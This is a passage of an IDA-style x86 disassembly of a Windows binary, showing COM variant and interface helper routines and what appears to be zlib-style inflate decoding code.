mov large fs:0, esp
sub esp, 18h
mov [ebp+var_24], ecx
mov eax, [ebp+var_24]
xor ecx, ecx
mov cx, [eax]
cmp ecx, 0Bh
jnz short loc_409829
mov edx, [ebp+var_24]
movsx eax, word ptr [edx+8]
test eax, eax
setnz al
jmp short loc_409864
; ---------------------------------------------------------------------------
loc_409829: ; CODE XREF: sub_4097F0+29j
lea ecx, [ebp+var_1C]
call sub_4097D0
mov [ebp+var_4], 0
mov ecx, [ebp+var_24]
push ecx
push 0Bh
lea ecx, [ebp+var_1C]
call sub_409930
movsx edx, [ebp+var_14]
test edx, edx
setnz al
mov [ebp+var_20], al
mov [ebp+var_4], 0FFFFFFFFh
lea ecx, [ebp+var_1C]
call sub_409990
mov al, [ebp+var_20]
loc_409864: ; CODE XREF: sub_4097F0+37j
mov ecx, [ebp+var_C]
mov large fs:0, ecx
mov esp, ebp
pop ebp
retn
sub_4097F0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409880 proc near ; CODE XREF: sub_40831F+7E3p
var_4 = dword ptr -4
arg_0 = word ptr 8
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov eax, [ebp+var_4]
xor ecx, ecx
mov cx, [eax]
cmp ecx, 2
jnz short loc_4098A1
mov edx, [ebp+var_4]
mov ax, [ebp+arg_0]
mov [edx+8], ax
jmp short loc_4098DA
; ---------------------------------------------------------------------------
loc_4098A1: ; CODE XREF: sub_409880+12j
mov ecx, [ebp+var_4]
xor edx, edx
mov dx, [ecx]
cmp edx, 0Bh
jnz short loc_4098BF
movsx eax, [ebp+arg_0]
neg eax
sbb eax, eax
mov ecx, [ebp+var_4]
mov [ecx+8], ax
jmp short loc_4098DA
; ---------------------------------------------------------------------------
loc_4098BF: ; CODE XREF: sub_409880+2Cj
mov ecx, [ebp+var_4]
call sub_4098F0
mov edx, [ebp+var_4]
mov word ptr [edx], 2
mov eax, [ebp+var_4]
mov cx, [ebp+arg_0]
mov [eax+8], cx
loc_4098DA: ; CODE XREF: sub_409880+1Fj
; sub_409880+3Dj
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn 4
sub_409880 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4098F0 proc near ; CODE XREF: sub_409880+42p
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov eax, [ebp+var_4]
push eax
call dword_413264
push eax
call sub_409910
add esp, 4
mov esp, ebp
pop ebp
retn
sub_4098F0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409910 proc near ; CODE XREF: sub_4098F0+12p
; sub_409930+46p ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
cmp [ebp+arg_0], 0
jge short loc_409922
mov eax, [ebp+arg_0]
push eax
call sub_411822
loc_409922: ; CODE XREF: sub_409910+7j
pop ebp
retn
sub_409910 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409930 proc near ; CODE XREF: sub_4097F0+51p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
cmp [ebp+arg_4], 0
jnz short loc_409943
mov eax, [ebp+var_4]
mov [ebp+arg_4], eax
loc_409943: ; CODE XREF: sub_409930+Bj
mov ecx, [ebp+var_4]
cmp ecx, [ebp+arg_4]
jnz short loc_409960
mov edx, [ebp+arg_0]
and edx, 0FFFFh
mov eax, [ebp+var_4]
xor ecx, ecx
mov cx, [eax]
cmp edx, ecx
jz short loc_40997E
loc_409960: ; CODE XREF: sub_409930+19j
mov dx, word ptr [ebp+arg_0]
push edx
push 0
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_4]
push ecx
call dword_413260
push eax
call sub_409910
add esp, 4
loc_40997E: ; CODE XREF: sub_409930+2Ej
mov esp, ebp
pop ebp
retn 8
sub_409930 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409990 proc near ; CODE XREF: sub_40831F+9B6p
; sub_40831F+A25p ...
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov eax, [ebp+var_4]
push eax
call dword_413264
push eax
call sub_409910
add esp, 4
mov esp, ebp
pop ebp
retn
sub_409990 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4099B0 proc near ; CODE XREF: sub_40831F+720p
; sub_411A14+11p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov eax, [ebp+var_4]
mov ecx, [ebp+arg_0]
mov [eax+4], ecx
mov edx, [ebp+var_4]
mov eax, [ebp+arg_4]
mov [edx+8], eax
mov ecx, [ebp+var_4]
mov dword ptr [ecx+0Ch], 0
mov edx, [ebp+var_4]
mov dword ptr [edx], offset off_414AE8
mov eax, [ebp+var_4]
cmp dword ptr [eax+8], 0
jz short loc_409A04
mov ecx, [ebp+arg_8]
and ecx, 0FFh
test ecx, ecx
jz short loc_409A04
mov edx, [ebp+var_4]
mov eax, [edx+8]
mov ecx, [ebp+var_4]
mov edx, [ecx+8]
mov ecx, [edx]
push eax
call dword ptr [ecx+4]
loc_409A04: ; CODE XREF: sub_4099B0+33j
; sub_4099B0+40j
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn 0Ch
sub_4099B0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409A10 proc near ; DATA XREF: HSho:off_414AE8o
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov ecx, [ebp+var_4]
call sub_409A40
mov eax, [ebp+arg_0]
and eax, 1
test eax, eax
jz short loc_409A35
mov ecx, [ebp+var_4]
push ecx
call sub_4114EE
add esp, 4
loc_409A35: ; CODE XREF: sub_409A10+17j
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn 4
sub_409A10 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409A40 proc near ; CODE XREF: sub_40831F+735p
; sub_409A10+Ap
; DATA XREF: ...
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov eax, [ebp+var_4]
mov dword ptr [eax], offset off_414AE8
mov ecx, [ebp+var_4]
cmp dword ptr [ecx+8], 0
jz short loc_409A6B
mov edx, [ebp+var_4]
mov eax, [edx+8]
mov ecx, [ebp+var_4]
mov edx, [ecx+8]
mov ecx, [edx]
push eax
call dword ptr [ecx+8]
loc_409A6B: ; CODE XREF: sub_409A40+17j
mov edx, [ebp+var_4]
cmp dword ptr [edx+0Ch], 0
jz short loc_409A81
mov eax, [ebp+var_4]
mov ecx, [eax+0Ch]
push ecx
call dword_4130A8 ; LocalFree
loc_409A81: ; CODE XREF: sub_409A40+32j
mov esp, ebp
pop ebp
retn
sub_409A40 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409A90 proc near ; CODE XREF: sub_40831F+831p
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 10h
mov [ebp+var_10], ecx
mov [ebp+var_C], 0
lea eax, [ebp+var_8]
push eax
mov ecx, [ebp+var_10]
mov edx, [ecx]
mov eax, [ebp+var_10]
push eax
call dword ptr [edx+0B4h]
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jge short loc_409ACE
push offset dword_417578
mov ecx, [ebp+var_10]
push ecx
mov edx, [ebp+var_4]
push edx
call sub_411830
loc_409ACE: ; CODE XREF: sub_409A90+2Aj
push 0
mov eax, [ebp+var_8]
push eax
mov ecx, [ebp+arg_0]
call sub_409D00
mov ecx, [ebp+var_C]
or ecx, 1
mov [ebp+var_C], ecx
mov eax, [ebp+arg_0]
mov esp, ebp
pop ebp
retn 4
sub_409A90 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409AF0 proc near ; CODE XREF: sub_40831F+7CCp
var_1C = dword ptr -1Ch
var_18 = word ptr -18h
var_14 = word ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = byte ptr 8
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset SEH_409AF0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 10h
mov [ebp+var_1C], ecx
mov [ebp+var_4], 0
lea eax, [ebp+var_14]
push eax
lea ecx, [ebp+arg_0]
call sub_4096F0
push eax
mov ecx, [ebp+var_1C]
mov edx, [ecx]
mov eax, [ebp+var_1C]
push eax
call dword ptr [edx+104h]
mov [ebp+var_10], eax
cmp [ebp+var_10], 0
jge short loc_409B4C
push offset dword_417578
mov ecx, [ebp+var_1C]
push ecx
mov edx, [ebp+var_10]
push edx
call sub_411830
loc_409B4C: ; CODE XREF: sub_409AF0+48j
mov ax, [ebp+var_14]
mov [ebp+var_18], ax
mov [ebp+var_4], 0FFFFFFFFh
lea ecx, [ebp+arg_0]
call sub_4041A5
mov ax, [ebp+var_18]
mov ecx, [ebp+var_C]
mov large fs:0, ecx
mov esp, ebp
pop ebp
retn 4
sub_409AF0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409B80 proc near ; CODE XREF: sub_40831F+6ECp
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov eax, [ebp+var_4]
mov dword ptr [eax], 0
cmp [ebp+arg_0], 0
jz short loc_409BA0
push 80004003h
call sub_411822
loc_409BA0: ; CODE XREF: sub_409B80+14j
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn 4
sub_409B80 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409BB0 proc near ; CODE XREF: sub_40831F+744p
; sub_40831F+9C5p ...
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov ecx, [ebp+var_4]
call sub_409D60
mov esp, ebp
pop ebp
retn
sub_409BB0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409BD0 proc near ; CODE XREF: sub_40831F+7C1p
; sub_40831F+82Ap
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov eax, [ebp+var_4]
cmp dword ptr [eax], 0
jnz short loc_409BE9
push 80004003h
call sub_411822
loc_409BE9: ; CODE XREF: sub_409BD0+Dj
mov ecx, [ebp+var_4]
mov eax, [ecx]
mov esp, ebp
pop ebp
retn
sub_409BD0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409C00 proc near ; CODE XREF: sub_40831F+704p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
mov [ebp+var_C], ecx
mov ecx, [ebp+var_C]
call sub_409D60
mov eax, [ebp+arg_8]
and eax, 14h
test eax, eax
jz short loc_409C7D
lea ecx, [ebp+var_8]
push ecx
push offset dword_417588
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call dword_4132AC
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jge short loc_409C44
mov eax, [ebp+var_4]
jmp short loc_409C9F
; ---------------------------------------------------------------------------
loc_409C44: ; CODE XREF: sub_409C00+3Dj
mov edx, [ebp+var_8]
push edx
call dword_4132A8
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jl short loc_409C6F
mov eax, [ebp+var_C]
push eax
call sub_409D50
push eax
mov ecx, [ebp+var_8]
mov edx, [ecx]
mov eax, [ebp+var_8]
push eax
call dword ptr [edx]
mov [ebp+var_4], eax
loc_409C6F: ; CODE XREF: sub_409C00+55j
mov ecx, [ebp+var_8]
mov edx, [ecx]
mov eax, [ebp+var_8]
push eax
call dword ptr [edx+8]
jmp short loc_409C9C
; ---------------------------------------------------------------------------
loc_409C7D: ; CODE XREF: sub_409C00+19j
mov ecx, [ebp+var_C]
push ecx
call sub_409D50
push eax
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call dword_4132AC
mov [ebp+var_4], eax
loc_409C9C: ; CODE XREF: sub_409C00+7Bj
mov eax, [ebp+var_4]
loc_409C9F: ; CODE XREF: sub_409C00+42j
mov esp, ebp
pop ebp
retn 0Ch
sub_409C00 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409CB0 proc near ; CODE XREF: sub_40831F+39p
; sub_40831F+814p
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov eax, [ebp+var_4]
mov dword ptr [eax], 0
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_409CB0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409CD0 proc near ; CODE XREF: sub_40831F+869p
; sub_40831F+938p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov eax, [ebp+var_4]
mov ecx, [ebp+arg_0]
mov edx, [ecx]
mov [eax], edx
mov ecx, [ebp+var_4]
call sub_409DE0
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn 4
sub_409CD0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409D00 proc near ; CODE XREF: sub_409A90+47p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov eax, [ebp+var_4]
mov ecx, [ebp+arg_0]
mov [eax], ecx
mov edx, [ebp+arg_4]
and edx, 0FFh
test edx, edx
jz short loc_409D24
mov ecx, [ebp+var_4]
call sub_409DE0
loc_409D24: ; CODE XREF: sub_409D00+1Aj
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn 8
sub_409D00 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409D30 proc near ; CODE XREF: sub_40831F+849p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov eax, [ebp+arg_0]
mov ecx, [eax]
push ecx
mov ecx, [ebp+var_4]
call sub_409D90
mov esp, ebp
pop ebp
retn 4
sub_409D30 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409D50 proc near ; CODE XREF: sub_409C00+5Bp
; sub_409C00+81p
push ebp
mov ebp, esp
call sub_409E10
pop ebp
retn
sub_409D50 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409D60 proc near ; CODE XREF: sub_409BB0+Ap
; sub_409C00+Cp
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov eax, [ebp+var_4]
cmp dword ptr [eax], 0
jz short loc_409D7F
mov ecx, [ebp+var_4]
mov edx, [ecx]
mov eax, [ebp+var_4]
mov ecx, [eax]
mov eax, [ecx]
push edx
call dword ptr [eax+8]
loc_409D7F: ; CODE XREF: sub_409D60+Dj
mov esp, ebp
pop ebp
retn
sub_409D60 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409D90 proc near ; CODE XREF: sub_409D30+10p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 8
mov [ebp+var_8], ecx
mov eax, [ebp+var_8]
mov ecx, [eax]
cmp ecx, [ebp+arg_0]
jz short loc_409DCD
mov edx, [ebp+var_8]
mov eax, [edx]
mov [ebp+var_4], eax
mov ecx, [ebp+var_8]
mov edx, [ebp+arg_0]
mov [ecx], edx
mov ecx, [ebp+var_8]
call sub_409DE0
cmp [ebp+var_4], 0
jz short loc_409DCD
mov eax, [ebp+var_4]
mov ecx, [eax]
mov edx, [ebp+var_4]
push edx
call dword ptr [ecx+8]
loc_409DCD: ; CODE XREF: sub_409D90+11j
; sub_409D90+2Fj
mov eax, [ebp+var_8]
mov esp, ebp
pop ebp
retn 4
sub_409D90 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409DE0 proc near ; CODE XREF: sub_409CD0+14p
; sub_409D00+1Fp ...
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov eax, [ebp+var_4]
cmp dword ptr [eax], 0
jz short loc_409DFF
mov ecx, [ebp+var_4]
mov edx, [ecx]
mov eax, [ebp+var_4]
mov ecx, [eax]
mov eax, [ecx]
push edx
call dword ptr [eax+4]
loc_409DFF: ; CODE XREF: sub_409DE0+Dj
mov esp, ebp
pop ebp
retn
sub_409DE0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409E10 proc near ; CODE XREF: sub_409D50+3p
push ebp
mov ebp, esp
mov eax, offset dword_417578
pop ebp
retn
sub_409E10 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409E20 proc near ; CODE XREF: sub_40A04E+220p
; sub_40A04E+39Ep ...
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 10h
mov eax, [ebp+arg_4]
mov ecx, [eax+0Ch]
mov [ebp+var_4], ecx
mov edx, [ebp+arg_0]
mov eax, [edx+30h]
mov [ebp+var_8], eax
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_8]
cmp edx, [ecx+34h]
ja short loc_409E4E
mov eax, [ebp+arg_0]
mov ecx, [eax+34h]
mov [ebp+var_10], ecx
jmp short loc_409E57
; ---------------------------------------------------------------------------
loc_409E4E: ; CODE XREF: sub_409E20+21j
mov edx, [ebp+arg_0]
mov eax, [edx+2Ch]
mov [ebp+var_10], eax
loc_409E57: ; CODE XREF: sub_409E20+2Cj
mov ecx, [ebp+var_10]
sub ecx, [ebp+var_8]
mov [ebp+var_C], ecx
mov edx, [ebp+arg_4]
mov eax, [ebp+var_C]
cmp eax, [edx+10h]
jbe short loc_409E74
mov ecx, [ebp+arg_4]
mov edx, [ecx+10h]
mov [ebp+var_C], edx
loc_409E74: ; CODE XREF: sub_409E20+49j
cmp [ebp+var_C], 0
jz short loc_409E87
cmp [ebp+arg_8], 0FFFFFFFBh
jnz short loc_409E87
mov [ebp+arg_8], 0
loc_409E87: ; CODE XREF: sub_409E20+58j
; sub_409E20+5Ej
mov eax, [ebp+arg_4]
mov ecx, [eax+10h]
sub ecx, [ebp+var_C]
mov edx, [ebp+arg_4]
mov [edx+10h], ecx
mov eax, [ebp+arg_4]
mov ecx, [eax+14h]
add ecx, [ebp+var_C]
mov edx, [ebp+arg_4]
mov [edx+14h], ecx
mov eax, [ebp+arg_0]
cmp dword ptr [eax+38h], 0
jz short loc_409ED8
mov ecx, [ebp+var_C]
push ecx
mov edx, [ebp+var_8]
push edx
mov eax, [ebp+arg_0]
mov ecx, [eax+3Ch]
push ecx
mov edx, [ebp+arg_0]
call dword ptr [edx+38h]
add esp, 0Ch
mov ecx, [ebp+arg_0]
mov [ecx+3Ch], eax
mov edx, [ebp+arg_4]
mov eax, [ebp+arg_0]
mov ecx, [eax+3Ch]
mov [edx+30h], ecx
loc_409ED8: ; CODE XREF: sub_409E20+8Cj
cmp [ebp+var_C], 0
jz short loc_409F04
mov edx, [ebp+var_C]
push edx
mov eax, [ebp+var_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call sub_411634 ; memcpy
add esp, 0Ch
mov edx, [ebp+var_4]
add edx, [ebp+var_C]
mov [ebp+var_4], edx
mov eax, [ebp+var_8]
add eax, [ebp+var_C]
mov [ebp+var_8], eax
loc_409F04: ; CODE XREF: sub_409E20+BCj
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_8]
cmp edx, [ecx+2Ch]
jnz loc_409FE0
mov eax, [ebp+arg_0]
mov ecx, [eax+28h]
mov [ebp+var_8], ecx
mov edx, [ebp+arg_0]
mov eax, [ebp+arg_0]
mov ecx, [edx+34h]
cmp ecx, [eax+2Ch]
jnz short loc_409F36
mov edx, [ebp+arg_0]
mov eax, [ebp+arg_0]
mov ecx, [eax+28h]
mov [edx+34h], ecx
loc_409F36: ; CODE XREF: sub_409E20+108j
mov edx, [ebp+arg_0]
mov eax, [edx+34h]
sub eax, [ebp+var_8]
mov [ebp+var_C], eax
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_C]
cmp edx, [ecx+10h]
jbe short loc_409F56
mov eax, [ebp+arg_4]
mov ecx, [eax+10h]
mov [ebp+var_C], ecx
loc_409F56: ; CODE XREF: sub_409E20+12Bj
cmp [ebp+var_C], 0
jz short loc_409F69
cmp [ebp+arg_8], 0FFFFFFFBh
jnz short loc_409F69
mov [ebp+arg_8], 0
loc_409F69: ; CODE XREF: sub_409E20+13Aj
; sub_409E20+140j
mov edx, [ebp+arg_4]
mov eax, [edx+10h]
sub eax, [ebp+var_C]
mov ecx, [ebp+arg_4]
mov [ecx+10h], eax
mov edx, [ebp+arg_4]
mov eax, [edx+14h]
add eax, [ebp+var_C]
mov ecx, [ebp+arg_4]
mov [ecx+14h], eax
mov edx, [ebp+arg_0]
cmp dword ptr [edx+38h], 0
jz short loc_409FBA
mov eax, [ebp+var_C]
push eax
mov ecx, [ebp+var_8]
push ecx
mov edx, [ebp+arg_0]
mov eax, [edx+3Ch]
push eax
mov ecx, [ebp+arg_0]
call dword ptr [ecx+38h]
add esp, 0Ch
mov edx, [ebp+arg_0]
mov [edx+3Ch], eax
mov eax, [ebp+arg_4]
mov ecx, [ebp+arg_0]
mov edx, [ecx+3Ch]
mov [eax+30h], edx
loc_409FBA: ; CODE XREF: sub_409E20+16Ej
mov eax, [ebp+var_C]
push eax
mov ecx, [ebp+var_8]
push ecx
mov edx, [ebp+var_4]
push edx
call sub_411634 ; memcpy
add esp, 0Ch
mov eax, [ebp+var_4]
add eax, [ebp+var_C]
mov [ebp+var_4], eax
mov ecx, [ebp+var_8]
add ecx, [ebp+var_C]
mov [ebp+var_8], ecx
loc_409FE0: ; CODE XREF: sub_409E20+EDj
mov edx, [ebp+arg_4]
mov eax, [ebp+var_4]
mov [edx+0Ch], eax
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_8]
mov [ecx+30h], edx
mov eax, [ebp+arg_8]
mov esp, ebp
pop ebp
retn
sub_409E20 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409FF9 proc near ; CODE XREF: sub_40AF6D+1C4p
; sub_40AF6D+FADp
var_4 = dword ptr -4
arg_0 = byte ptr 8
arg_4 = byte ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push ecx
push 1Ch
push 1
mov eax, [ebp+arg_10]
mov ecx, [eax+28h]
push ecx
mov edx, [ebp+arg_10]
call dword ptr [edx+20h]
add esp, 0Ch
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jz short loc_40A047
mov eax, [ebp+var_4]
mov dword ptr [eax], 0
mov ecx, [ebp+var_4]
mov dl, [ebp+arg_0]
mov [ecx+10h], dl
mov eax, [ebp+var_4]
mov cl, [ebp+arg_4]
mov [eax+11h], cl
mov edx, [ebp+var_4]
mov eax, [ebp+arg_8]
mov [edx+14h], eax
mov ecx, [ebp+var_4]
mov edx, [ebp+arg_C]
mov [ecx+18h], edx
loc_40A047: ; CODE XREF: sub_409FF9+1Fj
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_409FF9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A04E proc near ; CODE XREF: sub_40AF6D+1080p
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 58h
mov eax, [ebp+arg_0]
mov ecx, [eax+4]
mov [ebp+var_10], ecx
mov edx, [ebp+arg_4]
mov eax, [edx]
mov [ebp+var_4], eax
mov ecx, [ebp+arg_4]
mov edx, [ecx+4]
mov [ebp+var_2C], edx
mov eax, [ebp+arg_0]
mov ecx, [eax+20h]
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
mov eax, [edx+1Ch]
mov [ebp+var_24], eax
mov ecx, [ebp+arg_0]
mov edx, [ecx+34h]
mov [ebp+var_8], edx
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_8]
cmp ecx, [eax+30h]
jnb short loc_40A0A5
mov edx, [ebp+arg_0]
mov eax, [edx+30h]
sub eax, [ebp+var_8]
sub eax, 1
mov [ebp+var_30], eax
jmp short loc_40A0B1
; ---------------------------------------------------------------------------
loc_40A0A5: ; CODE XREF: sub_40A04E+44j
mov ecx, [ebp+arg_0]
mov edx, [ecx+2Ch]
sub edx, [ebp+var_8]
mov [ebp+var_30], edx
loc_40A0B1: ; CODE XREF: sub_40A04E+55j
mov eax, [ebp+var_30]
mov [ebp+var_28], eax
loc_40A0B7: ; CODE XREF: sub_40A04E:loc_40AD74j
mov ecx, [ebp+var_10]
mov edx, [ecx]
mov [ebp+var_34], edx
cmp [ebp+var_34], 9
ja loc_40AD15
mov eax, [ebp+var_34]
jmp off_40AD7D[eax*4]
loc_40A0D3: ; DATA XREF: HSho:off_40AD7Do
cmp [ebp+var_28], 102h
jb loc_40A1D9
cmp [ebp+var_2C], 0Ah
jb loc_40A1D9
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_C]
mov [ecx+20h], edx
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_24]
mov [eax+1Ch], ecx
mov edx, [ebp+arg_4]
mov eax, [ebp+var_2C]
mov [edx+4], eax
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_4]
sub edx, [ecx]
mov eax, [ebp+arg_4]
mov ecx, [eax+8]
add ecx, edx
mov edx, [ebp+arg_4]
mov [edx+8], ecx
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_4]
mov [eax], ecx
mov edx, [ebp+arg_0]
mov eax, [ebp+var_8]
mov [edx+34h], eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
mov eax, [ebp+var_10]
mov ecx, [eax+18h]
push ecx
mov edx, [ebp+var_10]
mov eax, [edx+14h]
push eax
mov ecx, [ebp+var_10]
xor edx, edx
mov dl, [ecx+11h]
push edx
mov eax, [ebp+var_10]
xor ecx, ecx
mov cl, [eax+10h]
push ecx
call sub_40CE56
add esp, 18h
mov [ebp+arg_8], eax
mov edx, [ebp+arg_4]
mov eax, [edx]
mov [ebp+var_4], eax
mov ecx, [ebp+arg_4]
mov edx, [ecx+4]
mov [ebp+var_2C], edx
mov eax, [ebp+arg_0]
mov ecx, [eax+20h]
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
mov eax, [edx+1Ch]
mov [ebp+var_24], eax
mov ecx, [ebp+arg_0]
mov edx, [ecx+34h]
mov [ebp+var_8], edx
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_8]
cmp ecx, [eax+30h]
jnb short loc_40A1A7
mov edx, [ebp+arg_0]
mov eax, [edx+30h]
sub eax, [ebp+var_8]
sub eax, 1
mov [ebp+var_38], eax
jmp short loc_40A1B3
; ---------------------------------------------------------------------------
loc_40A1A7: ; CODE XREF: sub_40A04E+146j
mov ecx, [ebp+arg_0]
mov edx, [ecx+2Ch]
sub edx, [ebp+var_8]
mov [ebp+var_38], edx
loc_40A1B3: ; CODE XREF: sub_40A04E+157j
mov eax, [ebp+var_38]
mov [ebp+var_28], eax
cmp [ebp+arg_8], 0
jz short loc_40A1D9
mov ecx, [ebp+arg_8]
sub ecx, 1
neg ecx
sbb ecx, ecx
and ecx, 2
add ecx, 7
